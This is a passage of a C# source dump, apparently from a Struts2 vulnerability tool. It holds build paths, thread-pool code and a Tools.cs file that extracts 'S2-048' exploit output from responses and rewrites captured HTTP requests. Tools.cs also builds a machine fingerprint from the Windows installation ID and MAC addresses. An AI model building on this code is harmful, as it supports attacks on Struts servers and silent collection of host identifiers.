E:\c#\projects\struts2013\Test\bin\Debug\Test.pdb 22 | E:\c#\projects\struts2013\Test\obj\Debug\Test.Form1.resources 23 | E:\c#\projects\struts2013\Test\obj\Debug\Test.Properties.Resources.resources 24 | E:\c#\projects\struts2013\Test\obj\Debug\Test.csproj.GenerateResource.Cache 25 | E:\c#\projects\struts2013\Test\obj\Debug\Test.csprojResolveAssemblyReference.cache 26 | D:\开发\c#\projects\struts2013\Test\bin\Debug\Test.exe.config 27 | D:\开发\c#\projects\struts2013\Test\obj\Debug\Test.exe 28 | D:\开发\c#\projects\struts2013\Test\obj\Debug\Test.pdb 29 | D:\开发\c#\projects\struts2013\Test\bin\Debug\Test.exe 30 | D:\开发\c#\projects\struts2013\Test\bin\Debug\Test.pdb 31 | D:\开发\c#\projects\struts2013\Test\obj\Debug\Test.Form1.resources 32 | D:\开发\c#\projects\struts2013\Test\obj\Debug\Test.Properties.Resources.resources 33 | D:\开发\c#\projects\struts2013\Test\obj\Debug\Test.csproj.GenerateResource.Cache 34 | D:\MyCoding\c#\projects\struts2013\Test\bin\Debug\Test.exe.config 35 | D:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.exe 36 | D:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.pdb 37 | D:\MyCoding\c#\projects\struts2013\Test\bin\Debug\Test.exe 38 | D:\MyCoding\c#\projects\struts2013\Test\bin\Debug\Test.pdb 39 | D:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.Form1.resources 40 | D:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.Properties.Resources.resources 41 | D:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.csproj.GenerateResource.Cache 42 | D:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.csprojResolveAssemblyReference.cache 43 | F:\MyCoding\c#\projects\struts2013\Test\bin\Debug\Test.exe.config 44 | F:\MyCoding\c#\projects\struts2013\Test\bin\Debug\Test.exe 45 | F:\MyCoding\c#\projects\struts2013\Test\bin\Debug\Test.pdb 46 | F:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.Form1.resources 47 | F:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.Properties.Resources.resources 48 | F:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.csproj.GenerateResource.Cache 49 | F:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.exe 50 | F:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.pdb 51 | F:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.csprojResolveAssemblyReference.cache 52 | E:\MyCoding\c#\projects\struts2013\Test\bin\Debug\Test.exe.config 53 | E:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.exe 54 | E:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.pdb 55 | E:\MyCoding\c#\projects\struts2013\Test\bin\Debug\Test.exe 56 | E:\MyCoding\c#\projects\struts2013\Test\bin\Debug\Test.pdb 57 | E:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.csprojResolveAssemblyReference.cache 58 | E:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.Form1.resources 59 | E:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.Properties.Resources.resources 60 | E:\MyCoding\c#\projects\struts2013\Test\obj\Debug\Test.csproj.GenerateResource.Cache 61 | E:\MyCoding\c#\projects\struts2015\Test\bin\Debug\Test.exe.config 62 | E:\MyCoding\c#\projects\struts2015\Test\obj\Debug\Test.exe 63 | E:\MyCoding\c#\projects\struts2015\Test\obj\Debug\Test.pdb 64 | E:\MyCoding\c#\projects\struts2015\Test\bin\Debug\Test.exe 65 | E:\MyCoding\c#\projects\struts2015\Test\bin\Debug\Test.pdb 66 | E:\MyCoding\c#\projects\struts2015\Test\obj\Debug\Test.Form1.resources 67 | E:\MyCoding\c#\projects\struts2015\Test\obj\Debug\Test.Properties.Resources.resources 68 | E:\MyCoding\c#\projects\struts2015\Test\obj\Debug\Test.csproj.GenerateResource.Cache 69 | E:\MyCoding\c#\projects\struts2015\Test\obj\Debug\Test.csprojResolveAssemblyReference.cache 70 | E:\MyCoding\c#\projects\struts2015 - 副本 (2)\Test\bin\Debug\Test.exe.config 71 | E:\MyCoding\c#\projects\struts2015 - 副本 (2)\Test\obj\Debug\Test.exe 72 | E:\MyCoding\c#\projects\struts2015 - 副本 (2)\Test\obj\Debug\Test.pdb 73 | E:\MyCoding\c#\projects\struts2015 - 副本 (2)\Test\bin\Debug\Test.exe 74 | E:\MyCoding\c#\projects\struts2015 - 副本 (2)\Test\bin\Debug\Test.pdb 75 | E:\MyCoding\c#\projects\struts2015 - 副本 (2)\Test\obj\Debug\Test.csprojResolveAssemblyReference.cache 76 | E:\MyCoding\c#\projects\struts2015 - 副本 (2)\Test\obj\Debug\Test.Form1.resources 77 | E:\MyCoding\c#\projects\struts2015 - 副本 (2)\Test\obj\Debug\Test.Properties.Resources.resources 78 | E:\MyCoding\c#\projects\struts2015 - 副本 (2)\Test\obj\Debug\Test.csproj.GenerateResource.Cache 79 | E:\MyCoding\c#\projects\struts2017\Test\bin\Debug\Test.exe.config 80 | E:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.exe 81 | E:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.pdb 82 | E:\MyCoding\c#\projects\struts2017\Test\bin\Debug\Test.exe 83 | E:\MyCoding\c#\projects\struts2017\Test\bin\Debug\Test.pdb 84 | E:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.Properties.Resources.resources 85 | E:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.csproj.GenerateResource.Cache 86 | E:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.Main.resources 87 | E:\MyCoding\c#\projects\struts2017 - 副本\Test\bin\Debug\Test.exe.config 88 | E:\MyCoding\c#\projects\struts2017 - 副本\Test\obj\Debug\Test.exe 89 | E:\MyCoding\c#\projects\struts2017 - 副本\Test\obj\Debug\Test.pdb 90 | E:\MyCoding\c#\projects\struts2017 - 副本\Test\bin\Debug\Test.exe 91 | E:\MyCoding\c#\projects\struts2017 - 副本\Test\bin\Debug\Test.pdb 92 | E:\MyCoding\c#\projects\struts2017 - 副本\Test\obj\Debug\Test.csprojResolveAssemblyReference.cache 93 | E:\MyCoding\c#\projects\struts2017 - 副本\Test\obj\Debug\Test.Main.resources 94 | E:\MyCoding\c#\projects\struts2017 - 副本\Test\obj\Debug\Test.Properties.Resources.resources 95 | E:\MyCoding\c#\projects\struts2017 - 副本\Test\obj\Debug\Test.csproj.GenerateResource.Cache 96 | E:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.csprojResolveAssemblyReference.cache 97 | F:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.exe 98 | F:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.pdb 99 | F:\MyCoding\c#\projects\struts2017\Test\bin\Debug\Test.exe 100 | F:\MyCoding\c#\projects\struts2017\Test\bin\Debug\Test.pdb 101 | F:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.Main.resources 102 | F:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.Properties.Resources.resources 103 | F:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.csproj.GenerateResource.Cache 104 | H:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.exe 105 | H:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.pdb 106 | H:\MyCoding\c#\projects\struts2017\Test\bin\Debug\Test.exe 107 | H:\MyCoding\c#\projects\struts2017\Test\bin\Debug\Test.pdb 108 | H:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.Main.resources 109 | H:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.Properties.Resources.resources 110 | H:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.csproj.GenerateResource.Cache 111 | H:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.csprojResolveAssemblyReference.cache 112 | G:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.exe 113 | G:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.pdb 114 | G:\MyCoding\c#\projects\struts2017\Test\bin\Debug\Test.exe 115 | G:\MyCoding\c#\projects\struts2017\Test\bin\Debug\Test.pdb 116 | G:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.Main.resources 117 | G:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.Properties.Resources.resources 118 | G:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.csproj.GenerateResource.Cache 119 | G:\MyCoding\c#\projects\struts2017\Test\obj\Debug\Test.csprojResolveAssemblyReference.cache 120 | G:\MyCoding\c#\projects\struts2018\Test\obj\Debug\Test.exe 121 | G:\MyCoding\c#\projects\struts2018\Test\obj\Debug\Test.pdb 122 | F:\MyCoding\c#\projects\struts2018\Test\bin\Debug\Test.exe 123 | F:\MyCoding\c#\projects\struts2018\Test\bin\Debug\Test.pdb 124 | F:\MyCoding\c#\projects\struts2018\Test\obj\Debug\Test.csprojAssemblyReference.cache 125 | F:\MyCoding\c#\projects\struts2018\Test\obj\Debug\Test.Main.resources 126 | F:\MyCoding\c#\projects\struts2018\Test\obj\Debug\Test.Properties.Resources.resources 127 | F:\MyCoding\c#\projects\struts2018\Test\obj\Debug\Test.csproj.GenerateResource.cache 128 | F:\MyCoding\c#\projects\struts2018\Test\obj\Debug\Test.csproj.CoreCompileInputs.cache 129 | F:\MyCoding\c#\projects\struts2018\Test\obj\Debug\Test.exe 130 | F:\MyCoding\c#\projects\struts2018\Test\obj\Debug\Test.pdb 131 | F:\MyCoding\c#\GitHub\struts2018\Struts2VulsTools\Test\bin\Debug\Test.exe 132 | F:\MyCoding\c#\GitHub\struts2018\Struts2VulsTools\Test\bin\Debug\Test.pdb 133 | F:\MyCoding\c#\GitHub\struts2018\Struts2VulsTools\Test\obj\Debug\Test.csprojAssemblyReference.cache 134 | F:\MyCoding\c#\GitHub\struts2018\Struts2VulsTools\Test\obj\Debug\Test.Main.resources 135 | F:\MyCoding\c#\GitHub\struts2018\Struts2VulsTools\Test\obj\Debug\Test.Properties.Resources.resources 136 | F:\MyCoding\c#\GitHub\struts2018\Struts2VulsTools\Test\obj\Debug\Test.csproj.GenerateResource.cache 137 | F:\MyCoding\c#\GitHub\struts2018\Struts2VulsTools\Test\obj\Debug\Test.csproj.CoreCompileInputs.cache 138 | F:\MyCoding\c#\GitHub\struts2018\Struts2VulsTools\Test\obj\Debug\Test.exe 139 | F:\MyCoding\c#\GitHub\struts2018\Struts2VulsTools\Test\obj\Debug\Test.pdb 140 | -------------------------------------------------------------------------------- /Test/smartthread/WorkItemsGroup.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Threading; 3 | using System.Runtime.CompilerServices; 4 | using System.Diagnostics; 5 | 6 | namespace Amib.Threading.Internal 7 | { 8 | 9 | #region WorkItemsGroup class 10 | 11 | /// 12 | /// Summary description for WorkItemsGroup. 13 | /// 14 | public class WorkItemsGroup : WorkItemsGroupBase 15 | { 16 | #region Private members 17 | 18 | private readonly object _lock = new object(); 19 | 20 | /// 21 | /// A reference to the SmartThreadPool instance that created this 22 | /// WorkItemsGroup. 23 | /// 24 | private readonly SmartThreadPool _stp; 25 | 26 | /// 27 | /// The OnIdle event 28 | /// 29 | private event WorkItemsGroupIdleHandler _onIdle; 30 | 31 | /// 32 | /// A flag to indicate if the Work Items Group is now suspended. 33 | /// 34 | private bool _isSuspended; 35 | 36 | /// 37 | /// Defines how many work items of this WorkItemsGroup can run at once. 38 | /// 39 | private int _concurrency; 40 | 41 | /// 42 | /// Priority queue to hold work items before they are passed 43 | /// to the SmartThreadPool. 44 | /// 45 | private readonly PriorityQueue _workItemsQueue; 46 | 47 | /// 48 | /// Indicate how many work items are waiting in the SmartThreadPool 49 | /// queue. 50 | /// This value is used to apply the concurrency. 51 | /// 52 | private int _workItemsInStpQueue; 53 | 54 | /// 55 | /// Indicate how many work items are currently running in the SmartThreadPool. 56 | /// This value is used with the Cancel, to calculate if we can send new 57 | /// work items to the STP. 58 | /// 59 | private int _workItemsExecutingInStp = 0; 60 | 61 | /// 62 | /// WorkItemsGroup start information 63 | /// 64 | private readonly WIGStartInfo _workItemsGroupStartInfo; 65 | 66 | /// 67 | /// Signaled when all of the WorkItemsGroup's work item completed. 68 | /// 69 | //private readonly ManualResetEvent _isIdleWaitHandle = new ManualResetEvent(true); 70 | private readonly ManualResetEvent _isIdleWaitHandle = EventWaitHandleFactory.CreateManualResetEvent(true); 71 | 72 | /// 73 | /// A common object for all the work items that this work items group 74 | /// generate so we can mark them to cancel in O(1) 75 | /// 76 | private CanceledWorkItemsGroup _canceledWorkItemsGroup = new CanceledWorkItemsGroup(); 77 | 78 | #endregion 79 | 80 | #region Construction 81 | 82 | public WorkItemsGroup( 83 | SmartThreadPool stp, 84 | int concurrency, 85 | WIGStartInfo wigStartInfo) 86 | { 87 | if (concurrency <= 0) 88 | { 89 | throw new ArgumentOutOfRangeException( 90 | "concurrency", 91 | #if !(_WINDOWS_CE) && !(_SILVERLIGHT) && !(WINDOWS_PHONE) 92 | concurrency, 93 | #endif 94 | "concurrency must be greater than zero"); 95 | } 96 | _stp = stp; 97 | _concurrency = concurrency; 98 | _workItemsGroupStartInfo = new WIGStartInfo(wigStartInfo).AsReadOnly(); 99 | _workItemsQueue = new PriorityQueue(); 100 | Name = "WorkItemsGroup"; 101 | 102 | // The _workItemsInStpQueue gets the number of currently executing work items, 103 | // because once a work item is executing, it cannot be cancelled. 104 | _workItemsInStpQueue = _workItemsExecutingInStp; 105 | 106 | _isSuspended = _workItemsGroupStartInfo.StartSuspended; 107 | } 108 | 109 | #endregion 110 | 111 | #region WorkItemsGroupBase Overrides 112 | 113 | public override int Concurrency 114 | { 115 | get { return _concurrency; } 116 | set 117 | { 118 | Debug.Assert(value > 0); 119 | 120 | int diff = value - _concurrency; 121 | _concurrency = value; 122 | if (diff > 0) 123 | { 124 | EnqueueToSTPNextNWorkItem(diff); 125 | } 126 | } 127 | } 128 | 129 | public override int InUseThreads 130 | { 131 | get 132 | { 133 | return _workItemsExecutingInStp; 134 | } 135 | } 136 | 137 | public override int WaitingCallbacks 138 | { 139 | get { return _workItemsQueue.Count; } 140 | } 141 | 142 | public override object[] GetStates() 143 | { 144 | lock (_lock) 145 | { 146 | object[] states = new object[_workItemsQueue.Count]; 147 | int i = 0; 148 | foreach (WorkItem workItem in _workItemsQueue) 149 | { 150 | states[i] = workItem.GetWorkItemResult().State; 151 | ++i; 152 | } 153 | return states; 154 | } 155 | } 156 | 157 | /// 158 | /// WorkItemsGroup start information 159 | /// 160 | public override WIGStartInfo WIGStartInfo 161 | { 162 | get { return _workItemsGroupStartInfo; } 163 | } 164 | 165 | /// 166 | /// Start the Work Items Group if it was started suspended 167 | /// 168 | public override void Start() 169 | { 170 | // If the Work Items Group already started then quit 171 | if (!_isSuspended) 172 | { 173 | return; 174 | } 175 | _isSuspended = false; 176 | 177 | EnqueueToSTPNextNWorkItem(Math.Min(_workItemsQueue.Count, _concurrency)); 178 | } 179 | 180 | public override void Cancel(bool abortExecution) 181 | { 182 | lock (_lock) 183 | { 184 | _canceledWorkItemsGroup.IsCanceled = true; 185 | _workItemsQueue.Clear(); 186 | _workItemsInStpQueue = 0; 187 | _canceledWorkItemsGroup = new CanceledWorkItemsGroup(); 188 | } 189 | 190 | if (abortExecution) 191 | { 192 | _stp.CancelAbortWorkItemsGroup(this); 193 | } 194 | } 195 | 196 | /// 197 | /// Wait for the thread pool to be idle 198 | /// 199 | public override bool WaitForIdle(int millisecondsTimeout) 200 | { 201 | SmartThreadPool.ValidateWorkItemsGroupWaitForIdle(this); 202 | return STPEventWaitHandle.WaitOne(_isIdleWaitHandle, millisecondsTimeout, false); 203 | } 204 | 205 | public override event WorkItemsGroupIdleHandler OnIdle 206 | { 207 | add { _onIdle += value; } 208 | remove { _onIdle -= value; } 209 | } 210 | 211 | #endregion 212 | 213 | #region Private methods 214 | 215 | private void RegisterToWorkItemCompletion(IWorkItemResult wir) 216 | { 217 | IInternalWorkItemResult iwir = (IInternalWorkItemResult)wir; 218 | iwir.OnWorkItemStarted += OnWorkItemStartedCallback; 219 | iwir.OnWorkItemCompleted += OnWorkItemCompletedCallback; 220 | } 221 | 222 | public void OnSTPIsStarting() 223 | { 224 | if (_isSuspended) 225 | { 226 | return; 227 | } 228 | 229 | EnqueueToSTPNextNWorkItem(_concurrency); 230 | } 231 | 232 | public void EnqueueToSTPNextNWorkItem(int count) 233 | { 234 | for (int i = 0; i < count; ++i) 235 | { 236 | EnqueueToSTPNextWorkItem(null, false); 237 | } 238 | } 239 | 240 | private object FireOnIdle(object state) 241 | { 242 | FireOnIdleImpl(_onIdle); 243 | return null; 244 | } 245 | 246 | [MethodImpl(MethodImplOptions.NoInlining)] 247 | private void FireOnIdleImpl(WorkItemsGroupIdleHandler onIdle) 248 | { 249 | if(null == onIdle) 250 | { 251 | return; 252 | } 253 | 254 | Delegate[] delegates = onIdle.GetInvocationList(); 255 | foreach(WorkItemsGroupIdleHandler eh in delegates) 256 | { 257 | try 258 | { 259 | eh(this); 260 | } 261 | catch { } // Suppress exceptions 262 | } 263 | } 264 | 265 | private void OnWorkItemStartedCallback(WorkItem workItem) 266 | { 267 | lock(_lock) 268 | { 269 | ++_workItemsExecutingInStp; 270 | } 271 | } 272 | 273 | private void OnWorkItemCompletedCallback(WorkItem workItem) 274 | { 275 | EnqueueToSTPNextWorkItem(null, true); 276 | } 277 | 278 | internal override void Enqueue(WorkItem workItem) 279 | { 280 | EnqueueToSTPNextWorkItem(workItem); 281 | } 282 | 283 | private void EnqueueToSTPNextWorkItem(WorkItem workItem) 284 | { 285 | EnqueueToSTPNextWorkItem(workItem, false); 286 | } 287 | 288 | private void EnqueueToSTPNextWorkItem(WorkItem workItem, bool decrementWorkItemsInStpQueue) 289 | { 290 | lock(_lock) 291 | { 292 | // Got here from OnWorkItemCompletedCallback() 293 | if (decrementWorkItemsInStpQueue) 294 | { 295 | --_workItemsInStpQueue; 296 | 297 | if(_workItemsInStpQueue < 0) 298 | { 299 | _workItemsInStpQueue = 0; 300 | } 301 | 302 | --_workItemsExecutingInStp; 303 | 304 | if(_workItemsExecutingInStp < 0) 305 | { 306 | _workItemsExecutingInStp = 0; 307 | } 308 | } 309 | 310 | // If the work item is not null then enqueue it 311 | if (null != workItem) 312 | { 313 | workItem.CanceledWorkItemsGroup = _canceledWorkItemsGroup; 314 | 315 | RegisterToWorkItemCompletion(workItem.GetWorkItemResult()); 316 | _workItemsQueue.Enqueue(workItem); 317 | //_stp.IncrementWorkItemsCount(); 318 | 319 | if ((1 == _workItemsQueue.Count) && 320 | (0 == _workItemsInStpQueue)) 321 | { 322 | _stp.RegisterWorkItemsGroup(this); 323 | IsIdle = false; 324 | _isIdleWaitHandle.Reset(); 325 | } 326 | } 327 | 328 | // If the work items queue of the group is empty than quit 329 | if (0 == _workItemsQueue.Count) 330 | { 331 | if (0 == _workItemsInStpQueue) 332 | { 333 | _stp.UnregisterWorkItemsGroup(this); 334 | IsIdle = true; 335 | _isIdleWaitHandle.Set(); 336 | if (decrementWorkItemsInStpQueue && _onIdle != null && _onIdle.GetInvocationList().Length > 0) 337 | { 338 | _stp.QueueWorkItem(new WorkItemCallback(FireOnIdle)); 339 | } 340 | } 341 | return; 342 | } 343 | 344 | if (!_isSuspended) 345 | { 346 | if (_workItemsInStpQueue < _concurrency) 347 | { 348 | WorkItem nextWorkItem = _workItemsQueue.Dequeue() as WorkItem; 349 | try 350 | { 351 | _stp.Enqueue(nextWorkItem); 352 | } 353 | catch (ObjectDisposedException e) 354 | { 355 | e.GetHashCode(); 356 | // The STP has been shutdown 357 | } 358 | 359 | ++_workItemsInStpQueue; 360 | } 361 | } 362 | } 363 | } 364 | 365 | #endregion 366 | } 367 | 368 | #endregion 369 | } 370 | -------------------------------------------------------------------------------- /Test/http/Tools.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.IO; 5 | using System.Net; 6 | using System.Text.RegularExpressions; 7 | using System.Net.Sockets; 8 | using System.Threading; 9 | using System.Globalization; 10 | using System.Security.Cryptography; 11 | using System.Windows.Forms; 12 | using file; 13 | using Microsoft.Win32; 14 | using System.Net.NetworkInformation; 15 | using System.Management; 16 | 17 | namespace http 18 | { 19 | class Tools 20 | { 21 | public const String httpLogPath = "logs/"; 22 | 23 | 24 | public static String GetRootPath(String url) { 25 | 26 | Uri uri = new Uri(url.ToLower()); 27 | String rootPath = ""; 28 | if (("http".Equals(uri.Scheme) && uri.Port == 80) || ("https".Equals(uri.Scheme) && uri.Port == 443)) 29 | { 30 | 31 | rootPath = uri.Scheme + "://" + uri.Host; 32 | } 33 | else 34 | { 35 | rootPath = uri.Scheme + "://" + uri.Host + ":" + uri.Port; 36 | } 37 | return rootPath; 38 | } 39 | 40 | public static String getContent(String body,String vulType) 41 | { 42 | 43 | if (!String.IsNullOrEmpty(body)) { 44 | if (vulType.Equals("S2-048")) { 45 | int s = body.IndexOf("start:"); 46 | int e = body.IndexOf(":end"); 47 | if (e > s) 48 | { 49 | return body.Substring(s + 6, e - s - 6); 50 | } 51 | 52 | } 53 | return body; 54 | } 55 | else{ 56 | return ""; 57 | } 58 | 59 | } 60 | public static long currentMillis() 61 | { 62 | return (long)(DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalMilliseconds; 63 | } 64 | 65 | /// 66 | /// 将16进制转换成10进制 67 | /// 68 | /// 16进制字符串 69 | /// 70 | public static int convertToIntBy16(String str) 71 | { 72 | try 73 | { 74 | return Convert.ToInt32(str, 16); 75 | } 76 | catch (Exception e) 77 | { 78 | 79 | } 80 | return 0; 81 | 82 | } 83 | 84 | public static void SysLog(String log) 85 | { 86 | FileTool.AppendLogToFile("logs/" + DateTime.Now.ToLongDateString() + ".log.txt", log + "----" + DateTime.Now); 87 | } 88 | 89 | public static String fomartTime(String time) 90 | { 91 | try 92 | { 93 | DateTime dt = Convert.ToDateTime(time); 94 | String newtime = dt.ToLocalTime().ToString(); 95 | return newtime; 96 | } 97 | catch (Exception e) 98 | { 99 | SysLog(e.Message); 100 | } 101 | return time; 102 | 103 | } 104 | 105 | 106 | 107 | /// 108 | /// 将数组转换成字符串 109 | /// 110 | /// 111 | /// 112 | public static String convertToString(String[] strs){ 113 | 114 | StringBuilder sb = new StringBuilder(); 115 | foreach(String s in strs){ 116 | sb.Append(s); 117 | } 118 | return sb.ToString(); 119 | 120 | } 121 | 122 | /// 123 | /// 将字符串转换成数字,错误返回0 124 | /// 125 | /// 字符串 126 | /// 127 | public static int convertToInt(String str) 128 | { 129 | 130 | try 131 | { 132 | return int.Parse(str); 133 | } 134 | catch (Exception e) { 135 | Tools.SysLog("waring:-"+e.Message); 136 | } 137 | return 0; 138 | 139 | } 140 | 141 | 142 | public static int findKeyByTime(int trueTime, int falseTime,int maxTime) 143 | { 144 | if (trueTime > maxTime&&falseTime 0) 155 | { 156 | return url.Substring(0,index); 157 | 158 | } 159 | else { 160 | 161 | return url; 162 | } 163 | } 164 | 165 | public static String getCurrentPath(String url) 166 | { 167 | int index =url.LastIndexOf("/"); 168 | 169 | if (index != -1) 170 | { 171 | return url.Substring(0,index)+"/"; 172 | } 173 | else { 174 | return ""; 175 | } 176 | } 177 | 178 | public static String getRootDomain(String domain) 179 | { 180 | int index = domain.LastIndexOf("."); 181 | 182 | if (index>0) 183 | { 184 | int index2 = domain.LastIndexOf(".", index - 1); 185 | if (index2 != -1) 186 | { 187 | return domain.Substring(index2+1); 188 | } 189 | 190 | } 191 | return domain; 192 | } 193 | 194 | public static String md5_16(String str){ 195 | MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider(); 196 | String t2 = BitConverter.ToString(md5.ComputeHash(UTF8Encoding.UTF8.GetBytes(str)), 4, 8); 197 | t2 = t2.Replace("-", ""); 198 | t2 = t2.ToLower(); 199 | return t2; 200 | } 201 | public static String md5_32(String str) 202 | { 203 | MD5 md5 = MD5.Create();//实例化一个md5对像 204 | // 加密后是一个字节类型的数组,这里要注意编码UTF8/Unicode等的选择  205 | byte[] s = md5.ComputeHash(Encoding.UTF8.GetBytes(str)); 206 | // 通过使用循环,将字节类型的数组转换为字符串,此字符串是常规字符格式化所得 207 | String pwd = ""; 208 | for (int i = 0; i < s.Length; i++) 209 | { 210 | //将得到的字符串使用十六进制类型格式。格式后的字符是小写的字母,如果使用大写(X)则格式后的字符是大写字符 211 | pwd = pwd + s[i].ToString("X"); 212 | } 213 | return pwd; 214 | 215 | } 216 | 217 | 218 | public static String changeRequestMethod(String datapack) 219 | { 220 | if (datapack.StartsWith("GET")) 221 | { 222 | int pl = datapack.IndexOf("?"); 223 | if (pl != -1) { 224 | int el = datapack.IndexOf(" ",pl); 225 | if (el != -1) { 226 | 227 | String cparams= datapack.Substring(pl+1,el-pl-1); 228 | datapack = datapack.Replace("?"+ cparams,""); 229 | int sl= datapack.IndexOf("\r\n"); 230 | datapack= datapack.Insert(sl, "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0"); 231 | int ssl = datapack.IndexOf("\r\n\r\n"); 232 | if (!datapack.EndsWith("\r\n\r\n")) { 233 | 234 | datapack += "\r\n\r\n"; 235 | } 236 | datapack+=cparams; 237 | 238 | int me = datapack.IndexOf(" "); 239 | if (me != -1) { 240 | 241 | datapack = "POST" + datapack.Substring(me, datapack.Length - me); 242 | } 243 | 244 | return datapack; 245 | } 246 | } 247 | } 248 | 249 | else if (datapack.StartsWith("POST")) 250 | { 251 | int ssl = datapack.IndexOf("\r\n\r\n"); 252 | 253 | if (ssl != -1) { 254 | 255 | 256 | String cparams = datapack.Substring(ssl+4,datapack.Length- ssl - 4); 257 | datapack = datapack.Substring(0, ssl+1); 258 | int cys = datapack.IndexOf("Content-Type"); 259 | int cye = datapack.IndexOf("\r\n",cys); 260 | 261 | if (cye > cys) { 262 | datapack=datapack.Remove(cys, cye - cys+2); 263 | } 264 | int cls = datapack.IndexOf("Content-Length"); 265 | int cle = datapack.IndexOf("\r\n", cls+1); 266 | if (cle > cls) 267 | { 268 | datapack = datapack.Remove(cls, cle - cls+2); 269 | } 270 | 271 | int hl = datapack.IndexOf(" HTTP"); 272 | if (hl != -1) { 273 | 274 | datapack = datapack.Insert(hl, "?"+cparams); 275 | } 276 | 277 | int me = datapack.IndexOf(" "); 278 | 279 | if (me != -1) 280 | { 281 | 282 | datapack = "GET" + datapack.Substring(me, datapack.Length - me); 283 | } 284 | } 285 | } 286 | 287 | return datapack; 288 | 289 | } 290 | 291 | /** 292 | * 获取系统相关唯一ID,用于统计 293 | */ 294 | public static String getSystemSid() 295 | { 296 | 297 | String sid = ""; 298 | try 299 | { 300 | //获得系统名称 301 | RegistryKey rk = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion"); 302 | sid = rk.GetValue("ProductName").ToString(); 303 | rk.Close(); 304 | //获得系统唯一号,系统安装id和mac组合 305 | sid += "_"; 306 | 307 | var officeSoftware = new ManagementObjectSearcher("SELECT ID, ApplicationId, PartialProductKey, LicenseIsAddon, Description, Name, OfflineInstallationId FROM SoftwareLicensingProduct where PartialProductKey <> null"); 308 | var result = officeSoftware.Get(); 309 | foreach (var item in result) 310 | { 311 | String c = item.GetPropertyValue("name").ToString(); 312 | 313 | if (item.GetPropertyValue("name").ToString().StartsWith("Windows")) 314 | { 315 | 316 | sid += item.GetPropertyValue("OfflineInstallationId").ToString() + "_"; 317 | break; 318 | } 319 | } 320 | 321 | } 322 | catch (Exception e) 323 | { 324 | sid += "ex_"; 325 | } 326 | String mac = ""; 327 | try 328 | { 329 | NetworkInterface[] fNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); 330 | foreach (NetworkInterface adapter in fNetworkInterfaces) 331 | { 332 | String fCardType = "o"; 333 | String fRegistryKey = "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\" + adapter.Id + "\\Connection"; 334 | RegistryKey rk = Registry.LocalMachine.OpenSubKey(fRegistryKey, false); 335 | if (rk != null) 336 | { 337 | String fPnpInstanceID = rk.GetValue("PnpInstanceID", "").ToString(); 338 | int fMediaSubType = Convert.ToInt32(rk.GetValue("MediaSubType", 0)); 339 | if (!String.IsNullOrEmpty(fPnpInstanceID) && fPnpInstanceID.StartsWith("PCI")) 340 | { 341 | if (fMediaSubType == 2) 342 | { 343 | fCardType = "w"; 344 | } 345 | else 346 | { 347 | fCardType = "n"; 348 | } 349 | mac = fCardType + ":" + adapter.GetPhysicalAddress().ToString() + "--"; 350 | } 351 | } 352 | } 353 | if (mac.EndsWith("--")) 354 | { 355 | mac = mac.Substring(0, mac.Length - 2); 356 | } 357 | } 358 | catch 359 | { 360 | } 361 | return sid + mac; 362 | 363 | } 364 | } 365 | } 366 | -------------------------------------------------------------------------------- /Test/smartthread/WorkItemFactory.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Amib.Threading.Internal 4 | { 5 | #region WorkItemFactory class 6 | 7 | public class WorkItemFactory 8 | { 9 | /// 10 | /// Create a new work item 11 | /// 12 | /// The WorkItemsGroup of this workitem 13 | /// Work item group start information 14 | /// A callback to execute 15 | /// Returns a work item 16 | public static WorkItem CreateWorkItem( 17 | IWorkItemsGroup workItemsGroup, 18 | WIGStartInfo wigStartInfo, 19 | WorkItemCallback callback) 20 | { 21 | return CreateWorkItem(workItemsGroup, wigStartInfo, callback, null); 22 | } 23 | 24 | /// 25 | /// Create a new work item 26 